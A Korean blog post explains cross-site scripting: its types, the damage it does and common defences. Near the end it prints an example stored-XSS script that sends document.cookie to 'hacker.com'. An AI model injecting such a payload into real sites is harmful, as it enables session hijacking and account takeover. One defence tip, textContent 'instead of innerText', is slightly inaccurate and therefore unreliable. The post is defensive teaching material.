XSS(Cross-Site Scripting) 공격은 웹 애플리케이션의 취약점을 이용해 악성 스크립트를 사용자의 브라우저에서 실행되도록 하는 공격 기법입니다. 주로 사용자 입력을 제대로 검증하거나 필터링하지 않는 사이트에서 발생하며, 공격자가 스크립트를 삽입해 다른 사용자의 세션 정보를 탈취하거나 악의적인 행위를 할 수 있습니다.
XSS 공격의 주요 유형
- Reflected XSS (반사형 XSS)
- 사용자의 입력이 즉시 응답에 포함되어 실행되는 공격 (예: 검색어, URL 파라미터).
- 피해자가 악성 링크를 클릭하면 공격 스크립트가 실행됩니다.
- Stored XSS (저장형 XSS)
- 악성 스크립트가 서버에 저장되고, 이후 다른 사용자가 해당 페이지를 방문할 때마다 실행됩니다.
- 예: 게시판, 댓글, 프로필 등에 스크립트를 영구 저장.
- DOM-based XSS
- 서버 측이 아닌 클라이언트 측 JavaScript에서 발생하는 취약점.
document.location,innerHTML등으로 DOM을 조작할 때 악성 코드가 실행됩니다.
XSS 공격의 피해 예시
- 쿠키/세션 탈취 → 계정 장악
- 키로깅 (키보드 입력 감지)
- 피싱 페이지로 리다이렉트
- 웹 페이지 변조 (Defacing)
XSS 방어 방법
- 입력 검증 & 출력 인코딩
- 사용자 입력 시
<,>,",'등 특수문자를 필터링 (e.g., HTML Entity Encoding). - 출력 시
innerText대신textContent사용, 또는 라이브러리(DOMPurify) 활용.
- 사용자 입력 시
- CSP(Content Security Policy) 적용
- HTTP 헤더에
Content-Security-Policy를 설정해 신뢰할 수 있는 스크립트만 실행되도록 제한.
- HTTP 헤더에
- HttpOnly & Secure 쿠키 사용
- JavaScript에서 접근 불가능한
HttpOnly쿠키 설정으로 세션 하이재킹 방지.
- JavaScript에서 접근 불가능한
- 프레임워크의 자체 보안 기능 활용
- React(
dangerouslySetInnerHTML주의), Vue.js(v-html주의) 등 현대 프레임워크는 기본적으로 XSS 방어 기능 제공.
- React(
예시 코드 (악성 스크립트)
<!-- 공격자가 댓글에 삽입한 스크립트 -->
<script>
fetch('https://hacker.com/steal?cookie=' + document.cookie);
</script>
이 코드가 저장형 XSS로 게시되면, 사용자의 쿠키가 해커 서버로 전송될 수 있습니다.
XSS는 OWASP Top 10에서도 꾸준히 상위권에 오르는 위협이므로, 웹 개발 시 반드시 방어 조치가 필요합니다.

'프로그래머로의 여정' 카테고리의 다른 글
| 렌더링(Rendering)이란? (3) | 2025.08.04 |
|---|---|
| GitHub에서 효과적인 이슈(Issues)를 작성하는 방법 (1) | 2025.06.14 |
| DOM 프로퍼티(Property)의 의미와 역할 (1) | 2025.06.09 |
| 이벤트 리스너(Event Listener) (0) | 2025.06.09 |
| DOM에서 노드(Node), 객체(Object), 요소(Element)의 개념 (0) | 2025.06.08 |